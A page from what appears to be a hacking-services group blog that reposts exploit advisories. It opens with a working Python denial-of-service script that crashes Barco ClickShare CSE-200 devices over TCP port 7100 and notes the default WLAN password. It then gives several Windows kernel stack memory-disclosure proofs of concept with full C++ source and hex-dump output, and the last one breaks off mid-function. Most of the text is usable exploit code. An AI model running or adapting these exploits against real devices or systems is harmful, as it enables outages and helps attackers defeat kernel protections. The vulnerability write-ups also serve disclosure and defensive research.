Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863567042

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python

# Exploit Title: Barco ClickShare CSE-200 - Remote Denial of Service
# Date: 11-04-2018
# Hardware Link: https://www.barco.com/de/product/clickshare-cse-200
# Exploit Author: Florian Hauser
# Contact: florian DOT g DOT hauser AT gmail DOT com
# CVE: requested by Barco
# Category: Hardware

#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Florian Hauser is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Florian Hauser's 
#  responsibility.
#   
#  Use them at your own risk!
################
# Vulnerability description (you have to be connected to the ClickShare WLAN for that, standard password is 'clickshare'):
# Sending arbitrary unexpected string to TCP port 7100 with respect to -> a certain time sequence <-
# not only disconnects all clients but also results in a crash of this hardware device
# Recover: Switch energy supply off for several minutes and reboot the system. Patches will be delivered in July 2018.
# I got permission from Barco to disclose this vulnerability.
# This affects potentially all other ClickShare products, Barco confirms

import socket
import sys
from time import sleep

if len(sys.argv) != 2:
	print "Usage: exploit.py <ip>"
	sys.exit(0)


# Sending random string until crash occurs. Max. of 50 seems definitely sufficient for that.
# 6-7 requests do the job usually
for x in range(1,50):
	#Create a new socket each time because otherwise the service drops the socket
	#Same request cannot be sent several times in sequence
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	
	#Connect to vulnerable TCP port 7100
	connect=s.connect((str(sys.argv[1]), 7100))
	s.send('some evil string \r\n\n')
	print "Buffer " + str(x) + " sent...\n"
	
	result=s.recv(1024)
	print result
	s.close()
	
	#Sleep for a few seconds because otherwise the service denies a socket creation but does not crash
	sleep(7)
HireHackking 
/*
We have discovered that the nt!NtQueryVolumeInformationFile system call invoked against certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 10 (32/64-bit); other versions were not tested. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:

--- cut ---
  "\SystemRoot"
  "\Device\LanmanRedirector"
  "\Device\MailslotRedirector"
--- cut ---

There are two types of leaks that can occur, both in the output IO_STATUS_BLOCK structure [1]:

--- cut ---
  typedef struct _IO_STATUS_BLOCK {
    union {
      NTSTATUS Status;
      PVOID    Pointer;
    };
    ULONG_PTR Information;
  } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
--- cut ---

The first type is a 64-bit specific leak of 4 bytes of uninitialized kernel stack memory, corresponding to the upper 32 bits of the nested union, if the "Status" field is initialized, but "Pointer" is not. This is caused by the mismatch between sizeof(NTSTATUS)=4 and sizeof(PVOID)=8 on x64 platforms.

The second type is when a completely uninitialized copy of IO_STATUS_BLOCK is passed down to the user-mode client. This results in a disclosure of 8 kernel stack bytes on x86 systems, and 16 bytes on x64 systems.

Both types of leaks have been observed for various information classes tested against the three offending objects (SystemRoot, LanmanRedirector, MailslotRedirector). The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 ('A') marker byte, invokes the nt!NtQueryVolumeInformationFile syscall with increasing information classes, and dumps the contents of the output IO_STATUS_BLOCK structures. The result of starting it in our test Windows 10 64-bit environment is as follows:

--- cut ---
  -------------- Testing \SystemRoot
  Class: 1, Status: 0
  00000000: 00 00 00 00 41 41 41 41 12 00 00 00 00 00 00 00 ....AAAA........
  Class: 3, Status: 0
  00000000: 00 00 00 00 41 41 41 41 18 00 00 00 00 00 00 00 ....AAAA........
  Class: 4, Status: 0
  00000000: 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 ................
  Class: 5, Status: 0
  00000000: 00 00 00 00 41 41 41 41 14 00 00 00 00 00 00 00 ....AAAA........
  Class: 6, Status: c0000022
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  Class: 7, Status: 0
  00000000: 00 00 00 00 41 41 41 41 20 00 00 00 00 00 00 00 ....AAAA .......
  Class: 8, Status: 0
  00000000: 00 00 00 00 41 41 41 41 40 00 00 00 00 00 00 00 ....AAAA@.......
  Class: 9, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  Class: a, Status: c000000d
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: b, Status: 0
  00000000: 00 00 00 00 41 41 41 41 1c 00 00 00 00 00 00 00 ....AAAA........
  Class: c, Status: 0
  00000000: 00 00 00 00 41 41 41 41 04 00 00 00 00 00 00 00 ....AAAA........
  Class: d, Status: c000000d
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  -------------- Testing \Device\LanmanRedirector
  Class: 1, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 3, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 4, Status: 0
  00000000: 00 00 00 00 41 41 41 41 08 00 00 00 00 00 00 00 ....AAAA........
  Class: 5, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 6, Status: c0000022
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  Class: 7, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 8, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 9, Status: c000003b
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  Class: a, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: b, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: c, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: d, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  -------------- Testing \Device\MailslotRedirector
  Class: 1, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 3, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 4, Status: 0
  00000000: 00 00 00 00 41 41 41 41 08 00 00 00 00 00 00 00 ....AAAA........
  Class: 5, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 6, Status: c0000022
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  Class: 7, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 8, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: 9, Status: c000003b
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  Class: a, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: b, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: c, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  Class: d, Status: c0000002
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
--- cut ---

It is clearly visible that a number of uninitialized bytes from the stack (indicated by the 0x41 value) are returned to the caller. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

extern "C" {
  NTSTATUS NTAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
  );

  NTSTATUS NTAPI NtQueryVolumeInformationFile(
    _In_  HANDLE               FileHandle,
    _Out_ PIO_STATUS_BLOCK     IoStatusBlock,
    _Out_ PVOID                FsInformation,
    _In_  ULONG                Length,
    _In_  DWORD                FsInformationClass
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) {
  PBYTE _ptr = (PBYTE)ptr;
  for (ULONG i = 0; i < size; i++) {
    _ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  static SIZE_T buffer[1024];

  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer);
  MyMemset(buffer, 'B', sizeof(buffer));
}

VOID TestHandle(HANDLE hObject) {
  static BYTE OutputBuffer[1024];

  for (DWORD Class = 0; Class < 16; Class++) {
    IO_STATUS_BLOCK iosb;
    RtlZeroMemory(&iosb, sizeof(iosb));

    SprayKernelStack();

    NTSTATUS Status = NtQueryVolumeInformationFile(hObject, &iosb, OutputBuffer, sizeof(OutputBuffer), (FILE_INFORMATION_CLASS)Class);
    if (Status == STATUS_INVALID_INFO_CLASS || Status == STATUS_INVALID_DEVICE_REQUEST) {
      continue;
    }

    printf("Class: %x, Status: %x\n", Class, Status);
    PrintHex(&iosb, sizeof(iosb));
  }
}

VOID TestObject(PWCHAR Name) {
  HANDLE hFile = NULL;
  OBJECT_ATTRIBUTES attrs;
  IO_STATUS_BLOCK iosb;

  UNICODE_STRING UnicodeName;
  RtlInitUnicodeString(&UnicodeName, Name);

  InitializeObjectAttributes(&attrs, &UnicodeName, 0, NULL, NULL);

  NTSTATUS Status = NtCreateFile(&hFile,
                                 FILE_READ_ATTRIBUTES,
                                 &attrs,
                                 &iosb,
                                 NULL,
                                 FILE_ATTRIBUTE_NORMAL,
                                 FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                                 FILE_OPEN,
                                 0,
                                 NULL,
                                 0);

  if (NT_SUCCESS(Status)) {
    wprintf(L"-------------- Testing %s\n", Name);
    TestHandle(hFile);
    CloseHandle(hFile);
  }
}

int main() {
  TestObject(L"\\SystemRoot");
  TestObject(L"\\Device\\LanmanRedirector");
  TestObject(L"\\Device\\MailslotRedirector");

  return 0;
}
HireHackking 
/*
We have discovered that the nt!NtQueryAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:

--- cut ---
  "\ArcName\multi(0)disk(0)rdisk(0)partition(1)"
  "\GLOBAL??\Harddisk0Partition1"
  "\GLOBAL??\Volume{GUID}"
  "\GLOBAL??\SystemPartition"
  "\GLOBAL??\STORAGE#Volume#{GUID}#0000000000100000#{GUID}"
  "\GLOBAL??\HarddiskVolume1"
  "\Device\SystemPartition"
  "\Device\HarddiskVolume1"
--- cut ---

The output structure returned by the system call is FILE_BASIC_INFORMATION [1]:

--- cut ---
  typedef struct _FILE_BASIC_INFORMATION {
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    ULONG         FileAttributes;
  } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
--- cut ---

In case of the above affected paths, the 4-byte "FileAttributes" field is never initialized. As the kernel uses a temporary copy of the structure that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below:

--- cut ---
  Name: \ArcName\multi(0)disk(0)rdisk(0)partition(1), Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\Harddisk0Partition1, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\Volume{GUID}, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\SystemPartition, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\STORAGE#Volume#{GUID}#0000000000100000#{GUID}, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \GLOBAL??\HarddiskVolume1, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \Device\SystemPartition, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
  Name: \Device\HarddiskVolume1, Status: c000000d
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 41 41 41 41 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? AAAA............
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define DIRECTORY_QUERY    0x0001
#define DIRECTORY_TRAVERSE 0x0002

typedef struct _FILE_BASIC_INFORMATION {
  LARGE_INTEGER CreationTime;
  LARGE_INTEGER LastAccessTime;
  LARGE_INTEGER LastWriteTime;
  LARGE_INTEGER ChangeTime;
  ULONG         FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;

typedef struct _OBJECT_DIRECTORY_INFORMATION {
  UNICODE_STRING Name;
  UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;

extern "C" {
  NTSTATUS NTAPI NtQueryAttributesFile(
    _In_  POBJECT_ATTRIBUTES      ObjectAttributes,
    _Out_ PFILE_BASIC_INFORMATION FileInformation
  );

  NTSTATUS WINAPI NtQueryDirectoryObject(
    _In_      HANDLE  DirectoryHandle,
    _Out_opt_ PVOID   Buffer,
    _In_      ULONG   Length,
    _In_      BOOLEAN ReturnSingleEntry,
    _In_      BOOLEAN RestartScan,
    _Inout_   PULONG  Context,
    _Out_opt_ PULONG  ReturnLength
  );

  NTSTATUS WINAPI NtOpenDirectoryObject(
    _Out_ PHANDLE            DirectoryHandle,
    _In_  ACCESS_MASK        DesiredAccess,
    _In_  POBJECT_ATTRIBUTES ObjectAttributes
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  static bool initialized = false;
  static HPALETTE(NTAPI *EngCreatePalette)(
    _In_ ULONG iMode,
    _In_ ULONG cColors,
    _In_ ULONG *pulColors,
    _In_ FLONG flRed,
    _In_ FLONG flGreen,
    _In_ FLONG flBlue
    );

  if (!initialized) {
    EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
    initialized = true;
  }

  static ULONG buffer[256];
  MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
  EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
  MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}

VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) {
  OBJECT_ATTRIBUTES Attributes;
  UNICODE_STRING Name;
  RtlInitUnicodeString(&Name, Path);
  InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL);

  FILE_BASIC_INFORMATION FileInformation, EmptyInformation;
  RtlZeroMemory(&FileInformation, sizeof(FileInformation));
  RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation));

  SprayKernelStack();

  NTSTATUS Status = NtQueryAttributesFile(&Attributes, &FileInformation);
  if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) {
    wprintf(L"Name: %s, Status: %x\n", Path, Status);
    PrintHex(&FileInformation, sizeof(FileInformation));
  }
}

VOID EnumerateDirectory(PWCHAR path) {
  HANDLE hdir = NULL;
  OBJECT_ATTRIBUTES attrs;
  UNICODE_STRING name;

  RtlInitUnicodeString(&name, path);
  InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL);
  NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs);

  if (NT_SUCCESS(st)) {
    CONST ULONG kMaxBufferSize = 128 * 1024;
    PBYTE buffer = (PBYTE)malloc(kMaxBufferSize);

    ULONG Context;
    st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL);
    if (NT_SUCCESS(st)) {
      POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer;
      while (pdi->Name.Buffer != NULL) {
        WCHAR path_buffer[MAX_PATH];

        if (!wcscmp(path, L"\\")) {
          wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer);
        }
        else {
          wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer);
        }

        if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) {
          EnumerateDirectory(path_buffer);
        }
        else {
          QueryFile(NULL, path_buffer);
          wcscat_s(path_buffer, L"\\");
          QueryFile(NULL, path_buffer);
        }

        pdi++;
      }
    }

    free(buffer);
    NtClose(hdir);
  }
}

int main() {
  EnumerateDirectory(L"\\");

  return 0;
}
HireHackking 
/*
We have discovered that the nt!NtQuerySystemInformation system call invoked with the SystemPageFileInformation (0x12) and SystemPageFileInformationEx (0x90) information classes discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.

Based on the contents of the output structure returned by the kernel, we have concluded that it contains a nested UNICODE_STRING structure at offset 0x10, which has the following definition:

--- cut ---
  typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
  } UNICODE_STRING, *PUNICODE_STRING;
--- cut ---

On x64 builds, the compiler introduces 4 bytes of padding between the "MaximumLength" and "Buffer" fields, in order to align the "Buffer" pointer to an 8-byte boundary. It seems that these padding bytes are never initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this form.

The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 ('A') marker byte, invokes the nt!NtQuerySystemInformation syscall with the affected information classes, and prints the contents of the output buffer on the screen. The result of running it in our test Windows 10 environment is as follows:

--- cut ---
  ---------- SystemPageFileInformation Status: 0, Return Length: 48
  00000000: 00 00 00 00 00 c0 02 00 00 00 00 00 01 01 00 00 ................
  00000010: 26 00 28 00 41 41 41 41 a0 fe 38 5c cc 00 00 00 &.(.AAAA..8\....
  00000020: 5c 00 3f 00 3f 00 5c 00 43 00 3a 00 5c 00 70 00 \.?.?.\.C.:.\.p.
  00000030: 61 00 67 00 65 00 66 00 69 00 6c 00 65 00 2e 00 a.g.e.f.i.l.e...
  00000040: 73 00 79 00 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? s.y.s...........
  ---------- SystemPageFileInformationEx Status: 0, Return Length: 50
  00000000: 00 00 00 00 00 c0 02 00 00 00 00 00 01 01 00 00 ................
  00000010: 26 00 28 00 41 41 41 41 a8 fe 38 5c cc 00 00 00 &.(.AAAA..8\....
  00000020: 00 c0 02 00 3f c1 13 00 5c 00 3f 00 3f 00 5c 00 ....?...\.?.?.\.
  00000030: 43 00 3a 00 5c 00 70 00 61 00 67 00 65 00 66 00 C.:.\.p.a.g.e.f.
  00000040: 69 00 6c 00 65 00 2e 00 73 00 79 00 73 00 00 00 i.l.e...s.y.s...
--- cut ---

It is clearly visible that in both cases, 4 bytes returned at offsets 0x14-0x17 originate from an uninitialized kernel stack region. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define SystemPageFileInformation ((SYSTEM_INFORMATION_CLASS)0x12)
#define SystemPageFileInformationEx ((SYSTEM_INFORMATION_CLASS)0x90)

extern "C" {
  NTSTATUS WINAPI NtQuerySystemInformation(
    _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Inout_   PVOID                    SystemInformation,
    _In_      ULONG                    SystemInformationLength,
    _Out_opt_ PULONG                   ReturnLength
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  static bool initialized = false;
  static HPALETTE(NTAPI *EngCreatePalette)(
    _In_ ULONG iMode,
    _In_ ULONG cColors,
    _In_ ULONG *pulColors,
    _In_ FLONG flRed,
    _In_ FLONG flGreen,
    _In_ FLONG flBlue
    );

  if (!initialized) {
    EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
    initialized = true;
  }

  static ULONG buffer[256];
  MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
  EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
  MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}

int main() {
  BYTE OutputBuffer[128];
  ULONG ReturnLength = 0;

  RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));

  SprayKernelStack();
  NTSTATUS Status = NtQuerySystemInformation(SystemPageFileInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);

  printf("---------- SystemPageFileInformation Status: %x, Return Length: %x\n", Status, ReturnLength);
  PrintHex(OutputBuffer, ReturnLength);

  RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));

  SprayKernelStack();
  Status = NtQuerySystemInformation(SystemPageFileInformationEx, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);

  printf("---------- SystemPageFileInformationEx Status: %x, Return Length: %x\n", Status, ReturnLength);
  PrintHex(OutputBuffer, ReturnLength);

  return 0;
}
HireHackking 
/*
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the MemoryBasicInformation (0x0) and MemoryPrivilegedBasicInformation (0x8) information classes discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.

Both information classes appear to return the same output structure, MEMORY_BASIC_INFORMATION:

--- cut ---
  typedef struct _MEMORY_BASIC_INFORMATION {
    PVOID  BaseAddress;
    PVOID  AllocationBase;
    DWORD  AllocationProtect;
    SIZE_T RegionSize;
    DWORD  State;
    DWORD  Protect;
    DWORD  Type;
  } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
--- cut ---

On x64 builds, the compiler introduces 4 bytes of padding between the "AllocationProtect" and "RegionSize" fields, in order to align the latter to an 8-byte boundary. Furthermore, 4 extra unused bytes are also added at the end of the structure, in order to align its size to an 8-byte boundary. None of these 8 unused bytes are initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this undefined form.

The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 ('A') marker byte, invokes the nt!NtQueryVirtualMemory syscall with the affected information classes, and prints the contents of the output buffer on the screen. The result of running it in our test Windows 10 environment is as follows:

--- cut ---
  ---------- MemoryBasicInformation Status: 0, Return Length: 30
  00000000: 00 00 58 3d f6 7f 00 00 00 00 58 3d f6 7f 00 00 ..X=......X=....
  00000010: 80 00 00 00 41 41 41 41 00 10 00 00 00 00 00 00 ....AAAA........
  00000020: 00 10 00 00 02 00 00 00 00 00 00 01 41 41 41 41 ............AAAA
  ---------- MemoryPrivilegedBasicInformation Status: 0, Return Length: 30
  00000000: 00 00 58 3d f6 7f 00 00 00 00 58 3d f6 7f 00 00 ..X=......X=....
  00000010: 80 00 00 00 41 41 41 41 00 10 00 00 00 00 00 00 ....AAAA........
  00000020: 00 10 00 00 02 00 00 00 00 00 00 01 41 41 41 41 ............AAAA
--- cut ---

It is clearly visible that in both cases, the bytes returned at offsets 0x14-0x17 and 0x2c-0x2f originate from an uninitialized kernel stack region. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define MemoryBasicInformation ((MEMORY_INFORMATION_CLASS)0)
#define MemoryPrivilegedBasicInformation ((MEMORY_INFORMATION_CLASS)8)

extern "C" {
  typedef DWORD MEMORY_INFORMATION_CLASS;
  NTSTATUS NTAPI NtQueryVirtualMemory(
    _In_      HANDLE                   ProcessHandle,
    _In_opt_  PVOID                    BaseAddress,
    _In_      MEMORY_INFORMATION_CLASS MemoryInformationClass,
    _Out_     PVOID                    MemoryInformation,
    _In_      SIZE_T                   MemoryInformationLength,
    _Out_opt_ PSIZE_T                  ReturnLength
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
